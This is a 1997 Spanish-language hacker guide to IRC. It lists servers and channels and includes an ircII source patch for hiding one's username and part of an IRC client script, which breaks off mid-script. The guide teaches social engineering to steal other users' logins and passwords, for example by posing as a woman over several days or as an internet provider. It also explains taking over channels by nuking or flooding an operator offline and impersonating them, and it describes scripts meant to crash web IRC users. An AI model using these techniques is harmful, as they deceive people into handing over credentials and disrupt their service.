15 - 04 - 1997.
??????
²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿²²
³ La Guia Universal del Hacker en el IRC ³²²
³ - J.J.F. / HACKERS TEAM - ³²²
³ V 1.0 ³²²
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º I M P O R T A N T E º
ÈÂÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
³ ³
³ Ni el autor de esta guia ni el grupo - J.J.F. / HACKERS TEAM - , se ³
³ hacen responsables de la utilizacion de las tecnicas aqui descritas .³
³ La informacion debe ser libre por eso se ha creado esta guia , para ³
³ cualquiera que desee conocer el underground del IRC . ³
³ No pretendemos incitar al vandalismo o al sabotaje , por lo que no ³
³ utilizes esta informacion para joder al projimo , ya que va encontra ³
³ de la etica hacker , o sea que cuidado con lo que haces que el gran ³
³ hermano y sus perros te vigian , quedas avisado ;-) ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
FICHERO OBTENIDO EN EL WEB OFICIAL DE - J.J.F. / HACKERS TEAM -
#WEB OFICIAL :
- http://www.angelfire.com/mi/JJFHackers
- http://jjfhackers.home.ml.org
#E-MAIL OFICIAL :
- jjf_team@usa.net
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
- INDICE .
1 - ¨ Que co¤o es esta guia ?
2 - ¨ Que es IRC ?
3 - Para poder enpezar con un programa IRC .
4 - Listado de servidores .
5 - Lista de canales mas interesantes .
6 - Hora de empezar : el arte de la Ingenieria social .
7 - Hacerse pasar por OP y obtenerlo .
8 - Bloquear un ordenador a traves de un WEB IRC .
9 - Como esconder mi verdadero nombre de usuario .
10 - Completo script para uso personal : FooLZ.
11 - Un caballo de batalla : Link Looker .
12 - Nuestro propio BOT .
13 - Metiendo el .rhosts por el IRC .
14 - Utilizacion de scripts .
15 - Informacion general .
16 - -J.J.F. / HACKERS TEAM - .
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
1 - ¨ Que co¤o es esta quia ?
Bueno , ahora que ya hemos dejado el tipico rollo de la presentacion , nos
dedicaremos a lo que interesa .
Si estas leyendo esto , es porque tienes los mismos interes que yo :) ,
claro que si , el HACKING , aunque por supuesto tengo otras mas que no
viene a cuento .
Esta guia prentende ser una ayuda a todo aquel hacker , que quiera hacer
sus pinitos en el IRC , aqui podras encontrar , desde ingeneria social (
que de paso nos podremos sacar unos passwords , je je je ) , pasando por
tecnicas avanzadas y utilizacion de scripts , que moviendote un poco
podras conseguir , pero no te preocupes te diremos donde !!!!
Lo mas seguro es que ya conozcas mucho de la informacion aqui descrita ,
ya que nos hemos dedicado a la recopilacion para tenerla todo juntito ,
si ya lo tienes todo pues por lo menos lo tendras ordenado en el mismo
fichero y si eres de aquellos que no lo tienes todo o solo conocias un
poco pues ya sabes ...
Pues espero que esto te pueda servir de ayuda y no me haya molestado en
balde recopilando informacion :)
Basta ya , que seguro que quieres empezar , si quieres saber algo de
nosotros nos encontraras al final del fichero P-)
Si no tiene ni idea de que es IRC entonces tendras que leer los primeros
capitulos aunque no se ha incluido la utilizacion de los comandos del
IRC ya que se sale de la idea de la guia y que se supone que ya sabes
utilizar el IRC , pero sino te consideras un LAMER , entonces salta
hasta la jugosa informacion ;-)
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
2 - ¨ Que es IRC ?
Las siglas de IRC corresponden a INTERNET REALY CHAT , que en nuestro
idioma se podia definir como "conversaciones en tiempo real en internet" .
Esto significa que cuando estamos en internet con un programa IRC , como
por ejemplo : mirc ( unos de los populares ) , pirch , jawer , virc y
otros muchos . Podemos conectar con servidores a lo largo de la red y
acceder a ellos para poder hablar con otros usuarios o hackers , entre
las miles de canales (ROOM) que disponen estos servidores , en canales
publicos , en donde puede haber decenas de usuarios conectados o en
canales privados para que "solo haya un repector y emisor" , si lo pongo
entre comillas sera por algo :) .
Por ejemplo estos servidores son irc.jet.es , irc.arrakis.es , muy
conocidos los dos en nuestro pais y canales seria #HACKERS , #SEXO ,
#ESPA¥A . Mas abajo encontras una lista de servidores y otra de canales
mas famosos .
Creo que ya sabes como va esto por lo que pasaremos a otro capitulo .
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
3 - Para poder empezar con un programa IRC .
En este capitulo de dire donde poder encontrar un programa IRC , para que
puedas empezar a conocer este fantastico mundo , pero no voy a ense¤ar
a utilizar ningun programa en concreto o como se utiliza un programa IRC
o su jerga en los canales , para eso tienes que esforzarte tu solito , un
buen consejo es siempre dirijirte al canal #beginer , donde te podran
ayudar a solventar tus dudas y problemas .
Para poder conseguir uno de estos programas , es muy facil , si quieres
siempre puedes comprar alguna de esas revistas sobre internet que
contienen un CD , seguro que habra un programa de esos , tambien estan ese
amigo que ya lleva conectado tiempo y seguro que te podra pasar uno , y
siempre como ultimo recurso estan internet y las BBS , donde facilmente
podras encontrar algo , buscando en algun motor de busqueda , escribiendo
IRC o algun nombre de algun programa arriba mencionado :)
-> Motores de busqueda , por si no sabes ninguno !!
. http://www.yahoo.com En ingles
. http://www.altavista.com En ingles
. http://www.ole.es En espa¤ol :)
. http://www.ozu.com En espa¤ol :)
-> Direcciones de programas IRC .
. http://www.mirc.co.uk Programa muy bueno .
. http://www.megalith.co.uk/virc/ No esta mal , pero no mata .
Bueno con esto ya podras empezar , ya que tampoco esperas que te lo haga
todo , verdad ?
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
4 - Listado de servidores .
Aqui te describo una lista de servidores donde podras conectar a lo largo
y ancho de la RED . Los separo en dos grupos , los primeros en espa¤ol y
los segundos son en ingles aunque siempre podras encontrar canales de
lengua espa¤ola en estos ultimos .
Para conectar a un servidor siempre se conecta por un puerto que va del
puerto 6667 al 6669 , tambien es posible que use el puerto 7000 , no
te preocupes los programas lo hacen esto por ti , pero siempre esta de
mas saberlo , ya que algunas veces debemos hacerlo manual para poder
conectar a un servidor ya que puede tener uno de sus puertos
con demasiado transito .
-> Servidores espa¤oles .
irc.jet.es
irc.arrakis.es
irc.catalunya.es
irc.axis.inf
irc.cerf.net
irc.ctv.es
epix.irc.net
irc.teleline.es
irc.sitrantor.es
irc.lleida.net
irc.minorisa.es
irc.conexis.es
irc.catalunya.net
irc.develnet.es
irc.infor.es
irc.parser.es
irc.encomix.es
bbs.eui.upv.es
irc.ibernet.es
-> Servidores extranjeros .
Undernet : chicago.il.us.Undernet.org
Undernet : toronto.on.ca.undernet.org
Undernet : blacksburg.va.us.undernet.org
Undernet : pittsburgh.pa.us.undernet.org
EFNET : irc.neosoft.com
Random IceNet : irc.icenet.org
Random US Undernet : us.undernet.org
Undernet : lowell.ma.us.undernet.org
Random EFnet : irc.chat.org
Random DALnet : irc.dal.net
Random EU Undernet : eu.undernet.org
DALnet : armidale.DAL.net
DALnet : toronto.DAL.net
DALnet : xgw.DAL.net:
DALnet : hades.DAL.net
DALnet : liberator.DAL.net
DALnet : davis.DAL.net
DALnet : cyberverse.DAL.net
DALnet : voyager.DAL.net
DALnet : mindijari.DAL.net
DALnet : spider.DAL.net
DALnet : ohana.DAL.net
DALnet : cin.DAL.net
DALnet : Mystic.DAL.net
DALnet : skypoint.DAL.net
DALnet : kechara.ma.us.DAL.net
DALnet : nether.DAL.net
DALnet : stlouis.DAL.net
DALnet : toast.DAL.net
DALnet : uncc.DAL.net
DALnet : dreamscape.DAL.net
DALnet : taxi.DAL.net
DALnet : glass.DAL.net
DALnet : farside.DAL.net
DALnet : phoenix.DAL.net
DALnet : dragon.DAL.net
EFNET : irc.io.org
EFNET : magic.mb.ca
EFNET : irc02.irc.aol.com
EFNET : irc.primenet.com
EFNET : irc.blackened.com
EFNET : irc-2.kern.com
EFNET : irc.cris.com
EFNET : irc.cerf.net
EFNET : eff.org
EFNET : irc.colorado.edu
EFNET : opus.bridge.net
EFNET : irc.law.emory.edu
EFNET : irc.ais.net
EFNET : irc.mcs.net
EFNET : irc.mo.net
EFNET : irc2-1.netcom.com
EFNET : irc2-2.netcom.com
EFNET : irc2-3.netcom.com
EFNET : irc.ionet.net
EFNET : irc.epix.net
EFNET : irc.voicenet.com
EFNET : irc.pitt.edu
EFNET : irc.phoenix.net
EFNET : irc.texas.net
EFNET : irc.psinet.com
FEFnet : taos.arc.unm.edu
FEFnet : irc.liii.com
FEFnet : irc.limited.net
FEFnet : serine.cowly.uwlax.edu
Icenet : sydney.au.icenet.org
Icenet : zip.au.icenet.org
Icenet : acid.uk.icenet.org
Icenet : phat.us.icenet.org
Icenet : irc.us.icenet.org
IRCNet : speech.elec.uow.edu.au
IRCNet : irc.wu-wien.ac.at
IRCNet : irc.funet.fi
IRCNet : irc.pspt.fi
IRCNet : irc.univ-lyon1.fr
IRCNet : irc.isnet.is
IRCNet : irc.ccii.unipi.it
IRCNet : irc.xs4all.nl
IRCNet : irc.sci.kun.nl
IRCNet : irc.ludd.luth.se
IRCNet : chat.btinternet.com
IRCNet : irc.demon.co.uk
IRCNet : stork.doc.ic.ac.uk
IRCNet : irc.netcom.net.uk
NewNet : irc.netbistro.com
NewNet : irc.aohell.org
NewNet : irc.dresden.com
NewNet : irc.primary.net
NewNet : irc.eskimo.com
StarLink : Aspen.CO.US.StarLink.Org
StarLink : Rochester.MI.US.StarLink.Org
StarLink : Cinci.OH.US.StarLink.Org
Undernet : montreal.qu.ca.undernet.org
Undernet : vancouver.bc.ca.undernet.org
Undernet : luxembourg.lu.eu.undernet.org
Undernet : amsterdam.nl.eu.undernet.org
Undernet : diemen.nl.eu.undernet.org
Undernet : lulea.se.eu.undernet.org
Undernet : london.uk.eu.undernet.org
Undernet : auckland.nz.undernet.org
Undernet : phoenix.az.us.undernet.org
Undernet : sandiego.ca.us.undernet.org
Undernet : atlanta.ga.us.undernet.org
Undernet : manhattan.ks.us.undernet.org
Undernet : ann-arbor.mi.us.undernet.org
Undernet : springfield.mo.us.undernet.org
Undernet : stlouis.mo.us.undernet.org
Undernet : dallas.tx.us.undernet.org
Undernet : washington-r.dc.us.undernet.org
Todavia quedan muchos servidores , como por ejemplo espa¤oles pero tampoco
este vez lo hare todo , je je je .
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
5 - Lista de canales mas interesantes .
Aqui pongo una serie de canales que yo considero como los mas interesantes
para los hackers .
Aunque como hay muchos eso depende de cada uno , por desgracia
los servidores extranjeros son los que mas canales ofrecen aunque les sera
dicifil para aquellos que no sepan ingles .
Esta vez no hare distincion entre los servidores por lo que puede haber
canales de servidores espa¤oles y extranjeros mezclados .
Tambien decir que hay muchos mas que pueden ser interesantes , solo hay
que buscarlos :)
-> Listado de canales .
#2600
#cellular
#hack
#phreak
#linux
#realhack
#root
#unix
#warez
#hackers
#hackers_novatos
#hack_novatos
#666
#virus
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
6 - Hora de empezar : el arte de la Ingenieria social .
Se llama ingenieria social , a una rama del hacking que consiste en
hacernos pasar por otra persona y que este LAMER nos diga lo que
queremos saber , como por ejemplo su login y password , asi ya
tendremos su cuenta para lo que querramos o le pedimos lo que se
nos ocurra , esto es de libre eleccion .
Esto que parece una tonteria , es una rama dificil de hacking ya
que no se puede hacer a la ligera , hay que seguir unas medidas para
conseguir nuestros propositos .
-> Consejos para utilizar la ingenieria social .
. Parecer seguro y con autoridad de lo que se dice , ya que si vacilamos
perderemos confianza del LAMER .
. Comenzar en canales faciles donde la gente no sepa mucho de esto ,
como por ejemplo #beginer , donde les podemos pegar el timo , tambien
en canales donde algun listillo por chulo nos diga lo que queremos
saber , cuando ya tengamos cierta experencia podemos pasar a canales
mas dificiles .
. A veces habra que trabajar durante varios dias para que nos cojan
cierta confianza :)
. Tambien pasarnos como una chica o un Lamer para que alquien nos ayude
y nos explice como funcina esto de internet , suele dar resultado .
. Procurar no decir que viviis cerca ya que te podia decir que te da su
password en persona o podria proponer quedar un dia en un cafe ,
entonces ya se lia .
Conviene seguir estas medidas para nuestra seguridad y no seanos pillados
en accion .
Que nos hagamos pasar por una chica o un lamer es mas facil que un "op" ,
ya que en principio no seremos operadores del canal .
-> Explicaremos el caso de ser chica , je je je
Entramos en un canal de contactos , sexo o territoriales , con el nombre
de CAROL, MARTA , MARIA , etc ... Mejor que sea un nombre de chica y no
una cosa sugerente , aunque si no lo haces procura que llame la atencion
y se crean que eres una chica .
Ya estamos en uno de estos y nos ponemos en contacto con alguno del canal ,
preferiblemente un chico , en algunos canales ellos se pondran en contacto
con nosotros al momento :)
Comenzamos a hablar con uno , sera dificil que la primera vez que hablamos
con el LAMER nos de el password , pero nada es imposible para los hackers ,
por esta razon sera conveniente que hablemos con el varios dias . Tendremos
que inventar una ficha creible para "nuestra chica" y contarsela para que
nos coja cari¤o .
Por ejemplo , le podimos decir que eres nueva en internet y no sabes como
funciona exactamente y te parece dificil y te explique como lo hace el
para conectarse con su proveedor haber si por casualidad nos dice su
login y su password para conectarse .
Otra cosa que le podemos decir es que la conexion es de nuestro hermano o
algo por el estilo , y que solo la tenia por un mes y que ya se acaba el
plazo y no la va a renovar , asi que haber si consigues que el LAMER nos
ceda su login y su password para poder quedar con el en internet , porque
te encanta hablar con el .
Aqui te he dado un ejemplo , pero como este hay miles solo tenemos que
pensar en algun personaje que nos pueda proporcionar frutos , por el
esfuerzo .
Aunque aqui no viene a cuento , esta tecnica se puede aplicar al telefono
diciendo que eres el proveedor y que tiene que darte su password porque
habeis tenido probemas con los ordenadores o cualquier historia creible .
El unico inconveniente es que conoceran nuestra voz , cosa que en el IRC
no podran .
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
7 - Hacerse pasar por OP y obtenerlo .
Aqui explicaremos una tecnica que consiste en una combinacion de script e
ingenieria social ;-)
Para comenzar necesitamos disponer de un nuke o un flood , para hacer caer
del servidor a nuestra presa , je je je . Este tipo de programas los
podemos encontrar en varios script .
-> Lo que necesitamos .
. El mirc
. un script ( 7th sphere , Gangsta-G , etc ...)
. un poco de picardia XDDD
Desgraciamente en nuestros dias , ya casi no se puede tirar a nadie
mediante flood por lo que aconsejo un nuke o otra "utilidad" para nuestra
finalidad .
Bueno finalmente ya estamos equipados para la "incursion" y ha ello vamos
, por lo que primero entramos al servidor que nos interese , luego claro
esta escojemos un canal , entramos en el y miramos a los OP , procurar que
sean tontos , elegimos una victima que sea OP , le atacamos con el flood
o el nuke o alguna otra herramienta que sirva .
Si conseguimos nuestro obejetivo y el OP cae del servidor , entonces
felicidades :) , ahora solo nos queda salir del canal , cambiar nuestro
nick ( como te llames en el servidor ) por el suyo y volver al canal
de antes , diciendo : "joder , me han tirado . Devolverme OP , plz ."
Si algun OP tonto cae en la trampa y nos da el OP , entonces el canal
es nuestro , elegimos la opcion "mass-de-op" de nuestro script y sino
manualmente y quitamos a todos los demas OP y el canal sera nuestro
y podemos hacer lo que nos apetezca :))
Si fallamos lo unico que haremos es crearnos enemigos , por lo que no
hagais esto con vuestro nick habitual , hasta que no este seguro de
ti mismo .
Provando esta tecnica al principio puede ser dificil , por lo que
recomiendo que hagas algunas pruebas con algun colega y cuando ya
este listo , ajustale las cuentas a ese OP que es un vacilon ;-)
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
8 - Bloquear un ordenador a traves de un WEB IRC .
En este capitulo de nuestra querida guia explicaremos una tecnica , que
consiste en bloquear un ordenador a traves de un WEB IRC , que no sabias
que a traves del WEB se puede hablar , en que mundo vives :)
Para esto lo unico que tenemos que hacer es crear un peque¤o script en
JavaScript y ya esta .
Aqui te pongo dos , pero que los dos tinen la misma finalidad , je je je
-> Los Scripts .
.
.
No voy a explicar los script ya que son muy faciles de entender , aunque
en el primero donde pone "texto" lo podemos cambiar por lo que queramos .
Tenemos que decir que estos script no siempre funcionan , debido al CGI
que utilizen , para saber si los podemos utilizar basta que escribamos
"<" y sino sale o sale otra cosa , entonces desgraciadamente no los
podremos utilizar :( y no se te ocurra ejecutarlo .
Para comenzar escribimos alguno de los script y le damos al boton de
enviar por lo que se enviara a todos del canal a no ser que se lo
enviemos a uno en particular . Desgraciadmente de las dos formas
nosotros tambien seremos atacados por nuestro script , pero
podemos pararlo aunque es un poco dificil .
Para ello hay varias formas , la primera seria vigilar el Trumpet para
saber cuando nuestra se¤al es enviada , un poco dificil sino se conoce
el Trumpet , sino sabes lo que es esto pues olvida este forma :) , otra
seria pulsar el boton de enviar como antes y la pantalla se quedara en
blanco y acto seguido pulsar el boton de stop .
Tambien podemos tener dos WEB cargados , uno en el canal y otro no
y cuando el del canal se bloquee pues lo cerramos y entramos con el
otro al canal y nos reimos un rato del personal XDDDD
Y seguro que ya se te ocurrian mas formas para detener tu script .
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
9 - Como esconder mi verdadero nombre de usuario .
Interesante tecnica pero lo malo es que solo se puede utilizar para
aquellos que se muevan en el mundo unix ;-)
Basicamente consiste en tener el codigo fuente de nuestro cliente
de IRC y le cambianos las rutinas en C , para que esconda nuestros
datos , je je je
-> Para obtener el codigo fuente del cliente IRC por FTP .
. cs.bu.edu /irc/clients.
Cuando ya nos hemos bajado el cliente miramos los siguientes ficheros
en codigo C , irc.c y ctcp.c . Entonces le cambianos en el irc.c el
nombre de usuario y en el ctcp.c la informacion ctcp y solo nos queda
compilarlo :)
Aqui doy un peque¤o ejemplo de como quedaria esta peque¤a operacion ,
aunque claro que esta en ingles , pero no pasa nada para aquellos que
no sepan ya que solo hay que copiar :-)
-> El codigo fuente modificado del cliente IRC .
*** ctcp.c Sin modificar .
--- ctcp.c Modificado .
***************
*** 331,337 ****
struct passwd *pwd;
long diff;
int uid;
! char c;
/*
* sojge complained that ircII says 'idle 1 seconds'
--- 331,337 ----
struct passwd *pwd;
long diff;
int uid;
! char c, *fing;
/*
* sojge complained that ircII says 'idle 1 seconds'
***************
*** 348,354 ****
if (uid != DAEMON_UID)
{
#endif /* DAEMON_UID */
! if (pwd = getpwuid(uid))
{
char *tmp;
--- 348,356 ----
if (uid != DAEMON_UID)
{
#endif /* DAEMON_UID */
! if (fing = getenv("IRCFINGER"))
! send_ctcp_reply(from, ctcp->name, fing, diff, c);
! else if (pwd = getpwuid(uid))
{
char *tmp;
*** irc.c Sin modificar .
--- irc.c Modificado .
***************
*** 510,516 ****
malloc_strcpy(&my_path, "/");
if (*realname == null(char))
strmcpy(realname, "*Unknown*", REALNAME_LEN);
! if (*username == null(char))
{
if (ptr = getenv("USER"))
strmcpy(username, ptr, NAME_LEN);
--- 510,518 ----
malloc_strcpy(&my_path, "/");
if (*realname == null(char))
strmcpy(realname, "*Unknown*", REALNAME_LEN);
! if (ptr = getenv("IRCUSER"))
! strmcpy(username, ptr, NAME_LEN);
! else if (*username == null(char))
{
if (ptr = getenv("USER"))
strmcpy(username, ptr, NAME_LEN);
Es bastante facil de entender por lo que no creo neceario tener que
explicar el codigo , sino lo entiendes porque no programas en C pues
ya sabes comprate un buen libro o preguntale a ese amigo tuyo que
si que sabe , por cierto saber C es algo necesario en este mundo :)
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
10 - Un completo script para uso personal : FooLZ.
Joer no te quejaras porque viene un script entero por lo que podras
entender como se hace y crear tus propias variantes , je je je
Como suele ocurrir el script esta en ingles aunque esta bastante
completito y nos dara una base para poder desarrollar nuestras
mejoras .
-> El script .
ECHO [FooLZ] Loading...
# oH-KaY SKRiPT RaPeRz, HeRe'Z ANoTHeR oNE FoR YoU To RaPe.
# MoST oF THe iDEaZ iN FooLZ aRE NoT oRIGiNAl, aND sOME oF THe
# RoUTiNES CoME FRoM DETURBO aNd TextBox.
# THe /away LoGGiNG aND aUTo-Op-iNG iDEaZ eYE GoT FRoM TooLZ aND iNFiNiTY,
# HoWEvEr aLL THe k0D3 iS oRiGiNAL (eYE SToLE THe iDEA, BuT NoT THe k0d3)
# SoME oF THe THiNGS THaT WoUlD Be oF MoST iNTEReST To SKRiPT RaPeRZ iS
# THe ISONCHAN() RoUTiNE aND THe K-KiCK CoMMAND, aS eYE HaVE NoT SeeN ThEM
# iN ANy oTHER SKrIPtZ. THe SPlATTeR KiCK PRoTEcTiON I SToLE oF CRyPT KeePER,
# eYE DuNNO iF He'S PuT iT iN TextBox YeT, BuT iT iS HiS iDEa
# NOTEZ: iTZ KiNDA BuGGY.. eYE DoN'T THiNK The MaSS-DE-aWP PRoTeCTiON WoRX,
# aND BeCaUSE oF THe HeAVY uSE oF ISCHANOP(), DE-SyNC'S WiLL MaKE FooLZ aCT
# WiERD.
^ASSIGN FOOLZVER .31337
^ASSIGN FOOLZRELEASE 1.0
^ASSIGN MSG_BRACE_1 [
^ASSIGN MSG_BRACE_2 ]
^ASSIGN BOLD
^ASSIGN UNDER
^ASSIGN HIGHL
^ASSIGN ENVBRITE ON
^ASSIGN WARMODE OFF
^ASSIGN SNOOP_MODE ON
^ASSIGN -AUTOOP
^ASSIGN -IS_AWAY
^ASSIGN -FOOLZ_INFO
EVAL SET CLIENT_INFORMATION FooLZ $FOOLZVER BeTa
SET STATUS_USER FooLZ
SET NOVICE OFF
SET EXEC_PROTECTION OFF
SET HIGHLIGHT_CHAR BOLD
SET -STATUS_MAIL
SET MAIL 1
SET STATUS_FORMAT %T %*%@%N%#%S%H%B%Q%A%C%+%I%O%F %W%>%U%M%X%Y%Z
SET INDENT ON
SET SHOW_AWAY_ONCE ON
SET SEND_IGNORE_MSG OFF
SET HIDE_PRIVATE_CHANNELS OFF
SET HOLD_MODE OFF
BIND ^[ PARSE_COMMAND ^GETMSG $MSGLIST
BIND ^A SELF_INSERT
BIND ^B SELF_INSERT
BIND ^_ SELF_INSERT
BIND ^V SELF_INSERT
BIND ^Z STOP_IRC
# The BoW script library
ALIAS SHOW_USAGE {
ECHO [FooLZ] Don't be a FooL. usage: $0-
}
ALIAS NOT_OPPED {
ECHO [FooLZ] FooL!!! You must be opped to $0-
}
# usage: OP_BEGGER [channel] [comments]
ALIAS OP_BEGGER {
^ASSIGN OBMSG [FooLZ] aUTo KiCK FoR aWP BeGGeRzZ
^ASSIGN OKMSG [FooLZ aWP BeGGeR KiCK]
^ASSIGN OPTMSG [FooLZ] oP BeGGeR TaRGeTeD
IF ([$2]) {
IF (ISCHANOP($N $1)) {
ECHO $OPTMSG - $0 : $2-
KICK $1 $0 $OKMSG
NOTICE $0 $OBMSG
}
} {
IF (ISCHANOP($N $C)) {
ECHO $OPTMSG - $0
KICK $C $0 $OKMSG
NOTICE $0 $OBMSG
}
}
^ASSIGN -OBMSG
^ASSIGN -OKMSG
^ASSIGN -OPTMSG
}
ALIAS GET_MAH_INFO {
USERHOST $N -CMD ^ASSIGN FOOLZ_INFO $$0!$$3@$$4
}
# usage: BAN_THIS_BITCH
ALIAS BAN_THIS_BITCH {
IF (ISCHANOP($N $1)) {
MODE $1 -o-b $0 $2
NOTICE $0 [FooLZ] BaN PRoTeCTiON aCTiVaTED - PHeAR BoW
}
}
# usage: ISONCHAN( )
ALIAS ISONCHAN {
^ASSIGN PERSON $0
^ASSIGN APERSON @$0
^ASSIGN -CHANLIST
^ASSIGN MYRC 0
^ON -NAMES * {
^ASSIGN CHANLIST $1-
IF (MATCH($PERSON $CHANLIST)) {
^ASSIGN MYRC 1
}
IF (MATCH($APERSON $CHANLIST)) {
^ASSIGN MYRC 1
}
}
^SET DISPLAY OFF
^NAMES $1
WAIT
^SET DISPLAY ON
^ASSIGN FUNCTION_RETURN $MYRC
^ASSIGN -MYRC
^ASSIGN -PERSON
^ASSIGN -CHANLIST
}
# usage: ISNICK()
ALIAS ISNICK {
@ FUNCTION_RETURN = 0
IF ([$0]) {
USERHOST $0 -CMD IF ([$3]) {
IF ([$4] != []) {
@ FUNCTION_RETURN = 1
}
}
WAIT
}
}
# usage: REAL_MODE
ALIAS REAL_MODE {
ECHO *** Mode change "$2-" on channel $1 by $0
}
ALIAS FSPLIT {
IF ([$1]) {
SIGNOFF $1 $S
} {
SIGNOFF aych-pee.bow.org $S
}
}
ON ^SEND_NOTICE *
ON ^CTCP "* CHAT" {
NOTICE $0 [FooLZ] DCC CHaT FLooD PRoTeCTiON - MSG Me YoU WaNT TO DCC CHaT
}
ON ^NOTICE * {
IF ([$1]==[PONG]) {
CTCP $0 FooLZ PONG'S aRE LaME - GeT a ReAL FuCKiNG SKRiPT
} {
IF ([$1]==[Ouch!]) {
CTCP $0 FooLZ PING ReSPoNSeZ aRE LaME.. - GeT a ReAL FuCKiNG SKRiPT
} {
ECHO \-$0\- $1-
}
}
}
ON ^MSG * {
IF (RMATCH($1 OP*)) {
IF (ISCHANOP($N $C)) {
OP_BEGGER $0 $C $1-
}
} {
IF (RMATCH($1 INVITE)) {
IF (ISCHANNEL($2)) {
IF (ISONCHAN($N $2)) {
IF (ISCHANOP($N $2)) {
^SET DISPLAY OFF
INVITE $0 $2
WAIT
^SET DISPLAY ON
ECHO [FooLZ] iNViTiNG $0 To $2
NOTICE $0 [FooLZ iNViTE BeGGER] - THeRE Y00 G0 BiTCH.
} {
NOTICE $0 [FooLZ iNViTE BeGGER] - FooL!! eYE DoN'T GoT DaH PLuS oH oN DaT CHaNNEL
}
} {
NOTICE $0 [FooLZ iNViTE BeGGER] - FooL!! eYE aM NoT oN THaT CHaNNeL!
}
} {
NOTICE $0 [FooLZ iNViTE BeGGeR] - usage: /MSG $N INVITE
}
} {
IF ([$IS_AWAY]==[YES]) {
IF ([$SNOOP_MODE]==[ON]) {
^ASSIGN LB \(
^ASSIGN RB \)
ECHO [aWaY]:$BOLD$LB$BOLD$0$BOLD$RB$BOLD $1-
^ASSIGN -LB
^ASSIGN -RB
}
